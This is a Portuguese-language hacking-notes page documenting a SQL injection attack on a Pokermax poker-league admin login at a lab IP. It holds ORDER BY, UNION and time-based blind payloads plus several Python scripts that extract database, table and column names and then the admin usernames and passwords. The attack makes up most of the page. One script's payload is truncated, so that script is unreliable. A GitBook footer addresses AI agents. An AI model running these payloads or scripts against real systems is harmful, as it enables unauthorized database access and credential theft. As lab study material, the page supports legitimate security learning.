> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md).

# SQLi Pokermax

## Vulnerabilidade de Injeção SQL

**Detecção de vulnerabilidade de injeção SQL:**

<figure><img src="/files/71a35211af4abe7ee8714a5583bc17900646f75d" alt=""><figcaption></figcaption></figure>

#### Identificação de uma vulnerabilidade de injeção SQL no site interno. Use [Burp Suite](/pt-br/hacking-tools/web/burpsuite.md) para interceptar o tráfego.

<figure><img src="/files/1c2a732aa97e75fb165f7c761813da32bd0835bf" alt=""><figcaption></figcaption></figure>

#### Descoberta do número de colunas com ORDER BY

```sql
admin' order by 7-- -

```

#### Tentativa de listar tabelas com UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -

```

#### Uso de uma injeção SQL baseada em tempo

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -

```

<figure><img src="/files/00c747860de8dbd0c95b0c3b1e986240dd5b3a65" alt=""><figcaption></figcaption></figure>

#### Automação com Python para extrair o nome do banco de dados

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/8e356575d6cf70a2d6e96e43d2f93cc852402e3a" alt=""><figcaption></figcaption></figure>

#### Automação em Python para Extrair Todos os Nomes de Banco de Dados

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/9de0683c9b5a000a1d6c119d2ecb5aed8133e2bb" alt=""><figcaption></figcaption></figure>

#### Automação em Python para extrair nomes de tabelas:

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/d6d41c8c0b169523e24a89e1943e80ac86ad01a0" alt=""><figcaption></figcaption></figure>

#### Automação em Python para extrair nomes de colunas:

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/410c373b2fbd30d3915aa309cc1c1921573d2205" alt=""><figcaption></figcaption></figure>

#### Automação em Python para extrair colunas de nome de usuário e senha:

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQL injection completed")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/c62e4d8d28a95ca76e62b75f773d730742a382d3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
